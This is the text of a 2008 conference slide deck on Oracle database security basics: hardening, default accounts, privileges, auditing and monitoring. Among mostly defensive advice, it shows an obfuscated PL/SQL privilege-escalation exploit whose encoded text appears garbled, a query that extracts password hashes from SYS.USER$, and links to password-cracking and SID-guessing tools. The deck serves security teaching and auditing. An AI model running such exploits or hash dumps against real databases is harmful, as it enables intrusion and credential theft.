UKOUG Back To Basics, February 28\textsuperscript{th} 2008

Oracle Security Basics

By

Pete Finnigan

Written Friday, 25th January 2008
• PeteFinnigan.com Limited
• Founded February 2003
• CEO Pete Finnigan
• Clients UK, States, Europe
• Specialists in researching and securing Oracle databases
• http://www.petefinnigan.com
• Consultancy and training available
• Author of Oracle security step-by-step
• Published many papers, regular speaker (UK, USA, Slovenia, Norway, more)
• Member of the Oak Table
Agenda

• What is Oracle Security?
• Basic Oracle security tenets
• Why a database must be secured
• How can a database be breached?
• Key security issues
  – Problems
  – Fixes
• Covering the basics
• What to do next
What Is Oracle Security?

• Performing a security audit of an Oracle database?
• Securely configuring an Oracle database?
• Designing a secure Oracle system before implementation?
• Using some of the key security features
  – Audit, encryption, RBAC, FGA, VPD…
• Oracle security is about all of these
  – It is about creating a secure database
  – Storing critical / valuable data securely
What’s involved in securing data?

• Perform an Oracle Security health audit
• Design a secure installation
• Perform database hardening
  – New database or existing
• Choose and use Security features where relevant e.g.
  – Encryption in the database for credit cards
  – TDE for secure data on disk
  – VPD to enable secure access to critical data
The Basic Tenets Of Oracle Security

- Reduce the version / installed product to that necessary
- Reduce the users / schemas
- Reduce and design privileges to least privilege principal
- Lock down basic configurations
- Audit
- Clean up
Why Do Hackers Steal Data?

- Data is often the target now not system access; this can be for
- Identity theft to clone identities
- Theft of data to access money / banks
- [http://www.petefinnigan.com/weblog/archives/00001129.htm](http://www.petefinnigan.com/weblog/archives/00001129.htm) - 25 million child benefit identities lost on two discs (not stolen but lost)
- Insider threat is now greater than external threats
Internal Or External Attacks

- Internal attacks are shown to exceed external attacks in many recent surveys
- The reality is likely to be worse as surveys do not capture all details or all companies
- With Oracle databases external attacks are harder and are likely to involve
  - application injection or
  - Buffer Overflow or
  - Protocol attacks
- Internal attacks could use any method for exploitation. The issues are why:
  - True hackers gain access logically or physically
  - Power users have too many privileges
  - Development staff
  - DBA’s
How Easy Is It To Attack?

- Many and varied – the world is your lobster
- Passwords are the simplest – find, guess, crack
- Bugs that can be exploited
- SQL injection
- Denial of Service
- Exploit poor configuration – access OS files, services
- Network protocol attacks
- Buffer overflows, SQL buffer overflows
- Cursor injection
- ?
Second Example Exploit

http://www.milw0rm.com/exploits/4572

PL/SQL procedure successfully completed.
Second Example Exploit (2)

```sql
SELECT * FROM USER_ROLE_PRIVS;

DECLARE
c2gys2Vv NUMBER;
BEGIN
  c2gys2Vv := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQL.PARSE(c2gys2Vv, utl_encode.text_decode(
    '2CV7bGFyZSBwcmFncmEgYXV0b29vbnJhcl9cLw5ycG5zOHVwYmVnaW4gZ2h1Y3V0ZSBwYW1ldGh1dGUgJ0dSQ0U1IERCOQSBUTy
    BTQ09YU
    CC7Y29tYW5kZyZDe=', 'UTF850Q859F1', 'UTL_ENCODE.BASE64', 0));
  SYS.DBMS_FIND_RFICSET('TG5V2ZkwgMSBjbnlsaZXRlIDop.U2VlLnUubGF0ZXIp', ||dbms_sql.execute('||c2gys2Vv||'),
    'DEADBEAF');
END;

SELECT * FROM USER_ROLE_PRIVS;
```
Stay Ahead Of The Hackers

• When deciding what to audit and how to audit a database you must know what to look for:
  – Existing configuration issues and vulnerabilities are a target
  – Remember hackers don’t follow rules
  – Combination attacks (multi-stage / blended) are common

• The solution: Try and think like a hacker – be suspicious
General Oracle Security Info

• Vulnerabilities and exploits:
  – SecurityFocus – www.securityfocus.com
  – Milw0rm – www.milw0rm.com
  – PacketStorm – www.packetstorm.org
  – FrSirt – www.frsirt.com
  – CERT – www.kb.cert.org/vulns
• Tools – http://www.petefinnigan.com/tools.htm
  – Who_has scripts, CIS benchmark, Scuba, rorascanner, Metacortex, cqure, many more
• Papers, blogs, forums, books
• Checklists
  – Oracle’s own checklist -
• Websites – petefinnigan.com, cqure, RDS, Argeniss, databasesecurity.com
The Basic Security Measures

- The access issue
- The key security issues (market knowledge)
- Key issues to investigate
- Get the basics right
The Access Issue

• A database can only be accessed if you have three pieces of information
  – The IP Address or hostname
  – The Service name / SID of the database
  – A valid username / password

• Lots of sites I see do:
  – Deploy tnsnames to all servers and desktops
  – Allow access to servers (no IP blocking)
  – Create guessable SID/Service name
  – Don’t change default passwords or set weak ones
What to audit (First?)

- Perform a password audit – use a tool such as woraauthbf – http://www.soonerorlater.hu/index.khtml?article_id=513
- Reduce network access and leakage
- Review the listener
- File system
  - look for passwords
  - permissions
- Audit basic configuration
  - Parameters
  - User accounts that exist
  - Privileges on objects
  - Privileges assigned to users
- Use one of the free tools – CIS, OScanner, Scuba
- Or one of my scripts, who_can_access.sql, find_all_privs.sql, who_has_role.sql, who_has_priv.sql – see http://www.petefinnigan.com/tools.htm
Password Cracker (1)

Run in SQL*Plus

```
Select u.name||':'||u.password
 ||':'||substr(u.spare4,3,63)
 ||':'||d.name||':'
 ||sys_context('USERENV','SERVER_HOST')||':'
from sys.user$ u, sys.V_$DATABASE d where u.type#=1;
```

Create a text file with the results – mine is called 11g_test.txt

```
SCOTT:9B5981663723A979:71C46D7FD2AB8A607A93489E899C08FFDA75B147030761978E640EF57C35:ORA11G:vostok:
```

Then run the cracker

http://soonerorlater.hu/download/woraauthbf_src_0.2.zip
http://soonerorlater.hu/download/woraauthbf_0.2.zip
Password Cracker (2)

As you can see the password is found – running at over 1 million hashes per second.

Worauthbf can also be used to crack from authentication sessions.

Worauthbf can be used in dictionary or brute force mode.

Use it to check user=pwd and defaults.
SIDGuesser

From http://www.czure.net/tools/SIDGuesser_win32_1_0_5.zip
User Enumeration

From
http://www.databasesecurity.com/dbsec/OAK.zip

SYS and SYSTEM always exist so passwords guesses can be attempted

Other users can “almost” certainly be there as well – DBSNMP for instance
RBAC

- Review the complete RBAC model
- Understand default schemas installed and why
- Understand the application schemas
  - Privileges, objects, resources
- Understand which accounts are Admin / user / Application Admin etc
  - Consider privileges, objects, resources
- lock accounts if possible
  - reduce attack surface
STATUS of the LISTENER
------------------------
Alias LISTENER
Version TNSLSNR for Linux: Version 11.1.0.6.0 - Production
Start Date 31-OCT-2007 09:06:14
Uptime 0 days 4 hr. 56 min. 27 sec
Trace Level off
Security ON: Local OS Authentication
SNMP OFF
Listener Parameter File /oracle/11g/network/admin/listener.ora
Listener Log File /oracle/diag/tnslsnr/vostok/listener/alert/log.xml
Listening Endpoints Summary...
   (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC1521)))
   (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=vostok)(PORT=1521)))
Services Summary...
Service "ORA11G" has 1 instance(s).
   Instance "ORA11G", status READY, has 1 handler(s) for this service...
Service "ORA11GXDB" has 1 instance(s).
   Instance "ORA11G", status READY, has 1 handler(s) for this service...
Service "ORA11G_XPT" has 1 instance(s).
   Instance "ORA11G", status READY, has 1 handler(s) for this service...
Finding Passwords

This is one of the key searches
Also search the process lists
Also search history
Clean Up

• This is the security killer in most systems I see
• Often file systems include
  – Scripts with passwords
  – Use tools such as
    • Oracle Password Repository
    • Mkstore from Oracle
    • DBMS_JOBS, DBMS_SCHEDULER
    • OS authenticated users under certain circumstances
• Clean up
  – ad-hoc scripts
  – Maintenance evidence
  – Trace files
  – Data files, exports..
  – Audit logs....
Features

Consider installed software and features / functions in the database
## Defaults

- Defaults are one of the biggest issues in Oracle
- Most default accounts in any software
- Tens of thousands of public privileges granted
- Many default roles and privileges
  - Many application developers use default Roles unfortunately
- Reduce the Public privileges as much as possible
- Do not use default accounts
- Do not use default roles including DBA
- Do not use default passwords
Database Configuration

- Default database installations cause some weak configurations
- Review all
  - configuration parameters
  - File permissions
- Some examples
  - No audit configuration by default (fixed in 10gR2 for new installs)
  - No password management (fixed in 10gR2 new installs)
## The Public Issue

- **Just some examples not everything!**
- **Public gets bigger** – (figures can vary based on install)
  - 9iR2 – 12,132
  - 10gR2 – 21,530 – 77.4% more than 9iR2
  - 11gR1 – 27,461 – 27.5% more than 10gR2
- **Apex is installed by default in 11g**
  - Good example of attack surface increase – BAD!
  - Unless you are writing an Apex application you don’t need it
  - There are other examples as well
- **More default users with each version!**
Access To Key Data (DBA_USERS)

<table>
<thead>
<tr>
<th>Privilege</th>
<th>SELECT is granted to</th>
</tr>
</thead>
<tbody>
<tr>
<td>Role</td>
<td>APP_ROLE (ADM = NO) which is granted to</td>
</tr>
<tr>
<td></td>
<td>User -&gt; SCOTT (ADM = NO)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; DBA (ADM = YES)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; DMB (ADM = NO)</td>
</tr>
<tr>
<td>Role</td>
<td>SELECT_DATABASE_ROLE (ADM = NO) which is granted to</td>
</tr>
<tr>
<td></td>
<td>User -&gt; DBA (ADM = YES)</td>
</tr>
<tr>
<td>Role</td>
<td>DBA (ADM = YES) which is granted to</td>
</tr>
<tr>
<td></td>
<td>User -&gt; DBA (ADM = YES)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; DBA (ADM = NO)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; SYSTEM (ADM = YES)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; TESTUSER (ADM = NO)</td>
</tr>
<tr>
<td>Role</td>
<td>TMP_FULL_DATABASE (ADM = NO) which is granted to</td>
</tr>
<tr>
<td></td>
<td>User -&gt; DBA (ADM = YES)</td>
</tr>
<tr>
<td>Role</td>
<td>DBA (ADM = NO) which is granted to</td>
</tr>
<tr>
<td></td>
<td>User -&gt; DBA (ADM = YES)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; DBA (ADM = NO)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; SYSTEM (ADM = YES)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; TESTUSER (ADM = NO)</td>
</tr>
<tr>
<td>Role</td>
<td>OLAP_USER (ADM = NO) which is granted to</td>
</tr>
<tr>
<td></td>
<td>User -&gt; DBA (ADM = YES)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; DBA (ADM = NO)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; SYSTEM (ADM = YES)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; TESTUSER (ADM = NO)</td>
</tr>
<tr>
<td>Role</td>
<td>OLAP_DBA (ADM = NO) which is granted to</td>
</tr>
<tr>
<td></td>
<td>User -&gt; DBA (ADM = YES)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; DBA (ADM = NO)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; SYSTEM (ADM = YES)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; TESTUSER (ADM = NO)</td>
</tr>
<tr>
<td>Role</td>
<td>SM (ADM = NO) which is granted to</td>
</tr>
<tr>
<td></td>
<td>User -&gt; DBA (ADM = YES)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; DBA (ADM = NO)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; SYSTEM (ADM = YES)</td>
</tr>
<tr>
<td></td>
<td>User -&gt; TESTUSER (ADM = NO)</td>
</tr>
<tr>
<td>Role</td>
<td>SYS (ADM = YES)</td>
</tr>
<tr>
<td>User</td>
<td>IX (ADM = NO)</td>
</tr>
</tbody>
</table>
Who Has Key Roles

Oracle SQL*Plus

ROLE TO CHECK [DBA]: DBA
OUTPUT METHOD Screen/File [S]: S
FILE NAME FOR OUTPUT [priv.lst]:
OUTPUT DIRECTORY [DIRECTORY or File (/tmp)]:
EXCLUDE CERTAIN USERS [N]:
USER TO SKIP [TEST%]:

Investigating Role => DBA (PWD = NO) which is granted to =>

- User => SYS (ADM = YES)
- User => SYSMAN (ADM = NO)
- User => SCOTT (ADM = NO)
- User => SYSTEM (ADM = YES)
- User => TESTUSER (ADM = NO)

PL/SQL procedure successfully completed.

For updates please visit http://www.peteFinnigan.com/tools.htm

SQL> |
Check Parameters

PARAMETER TO CHECK | [u11_file_dir]: os_authent_prefix
CORRECT VALUE | [null]: $ 
OUTPUT METHOD | Screen/File 
FILE NAME FOR OUTPUT | [priv.1st]: 
OUTPUT DIRECTORY | [DIRECTORY or file (/tmp)]: 

Investigating parameter => os_authent_prefix

Name: os_authent_prefix 
Value: [null] 
Type: STRING 
Is Default: DEFAULT VALUE 
Is Session modifiable: FALSE 
Is System modifiable: FALSE 
Is Modified: FALSE 
Is Adjusted: FALSE 
Description: prefix For auto-logon accounts 
Update Comment: 

value ***OPS*** is incorrect

PL/SQL procedure successfully completed.

For updates please visit http://www.petefinnigan.com/tools.htm

SQL>

Use the checklists to identify what to check
This parameter setting is not ideal for instance
## CIS Benchmark

<table>
<thead>
<tr>
<th>File</th>
<th>Action:</th>
<th>os_authent_prefix=&quot;&quot; (A null string)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Comments:</td>
<td>Setting this ensures that the only way an account can be used externally is by specifying IDENTIFIED EXTERNALLY when creating a user.</td>
</tr>
<tr>
<td></td>
<td>Failed Results:</td>
<td>os_authent_prefix is not a null string (&quot;&quot;&quot;) in init.ora.</td>
</tr>
<tr>
<td>Item #:</td>
<td>1.22</td>
<td>Status: passed</td>
</tr>
<tr>
<td>Configuration Item:</td>
<td>init.ora</td>
<td></td>
</tr>
<tr>
<td>Action:</td>
<td>os_roles=FALSE</td>
<td></td>
</tr>
<tr>
<td>Comments:</td>
<td>O/S roles are subject to control outside the database. This separates the duties and responsibilities of DBAs and system administrators.</td>
<td></td>
</tr>
</tbody>
</table>

| Item #: | 1.23 | Status: passed |
| Configuration Item: | init.ora |
| Action: | Settings for util_file_dir parameter should avoid certain directories (see comments) |
| Comments: | Do not use the following settings: - "*" - Allows access to any fileAny trace file directories - Critical information could be read - "." - Allows access to the current directories - Location of the core dump trace files - Critical information could be read |

http://www.cisecurity.org/bench_oracle.html
Get The Basics Right

• OK, we have covered a lot of information
• Concentrate on
  – Checking users passwords
  – Removing default schemas and software not needed
  – Reduce leakage of critical data (passwords and more) from the database and filesystems
Get The Basics Right (2)

- Don’t leak network data to allow connection attempts
- Use firewalls or valid node checking to protect the database
- Review privileges and access to key data
- Confirm key configuration is set correctly
What To Do Next

• Fix the basics, then what?
• Use a top 10 / 20 approach
• Use the project lockdown or one of the good checklists to do a more detailed review
• Ensure sound audit plan is in place
• Monitor the security
What To Do Next (2)

• Read around the subject
• Read the checklists
• Understand how hackers may steal your data
• This way YOU can understand how to protect it
Decide what to fix (Top 10)

- My extensive experience of auditing Oracle databases is that there are
  - Usually a lot of security issues
  - Usually a lot are serious – i.e. server access could be gained if the issue is not plugged
  - There are constraints on the applications, working practice, practicality of fixing

- The best approach is to classify issues
  - Must fix now (really serious), fix as soon as possible, fix when convenient, maybe more

- Create a top ten / twenty approach
Auditing an Oracle Database

• Operating security Checklists
  – CIS benchmarks for Windows, Linux, Solaris and more
  – OS check tools – The CIS benchmarks are useful – others are available

• Oracle security checks
  – Most tools are windows centric – don’t install them on the prod database servers if you run Windows
  – Audit by hand to gain understanding
  – Audit using a free or commercial tool
  – Get professional help

• Oracle security checklists
  – use and work through
  – these are great resources to start with
Perform Hardening

• Reduce the features and functions installed – OS and DB
• Harden the OS
• Review RBAC for all users
• Remove defaults – settings, users, passwords
• Decide on secure configuration settings
• Clean up
• Create processes and policies to ensure secure data going forward
Enable Database Auditing

• Every database I have ever audited has no database audit enabled – ok a small number do, but usually the purpose if for management / work / ??? but not for audit purposes.
• Core audit doesn’t kill performance
  – Oracle have recommended 24 core system audit settings since 10gR2 – these can be enabled and added to in earlier databases
  – Avoid object audit unless you analyse access trends then its Ok
• On Windows audit directed to the OS goes to the event Log
• By default all SYSDBA connections are audited – also to the event log on Windows
• VBScript / SQL can be used to access the event log
Create A Monitoring Process

- Once you are secure or on the way to being secure
- Realise its not a “one-off” process
- Constant monitoring of the database is necessary because
  - New issues arise
  - The database can change shape
  - Your knowledge increases
- Create a monitoring process – this can be a policy, a set of scripts, a commercial tool
Conclusions

- We didn’t mention CPU’s – Apply them – they are only part of the process
- Think like a hacker
- Get the basics right first – stop connections or cracking
- Sort out the RBAC, config, installed software and privileges
- Use a top 10 approach, it works!
Any Questions?
Contact - Pete Finnigan

PeteFinnigan.com Limited
9 Beech Grove, Acomb
York, YO26 5LD

Phone: +44 (0) 1904 791188
Mobile: +44 (0) 7742 114223
Email: pete@petefinnigan.com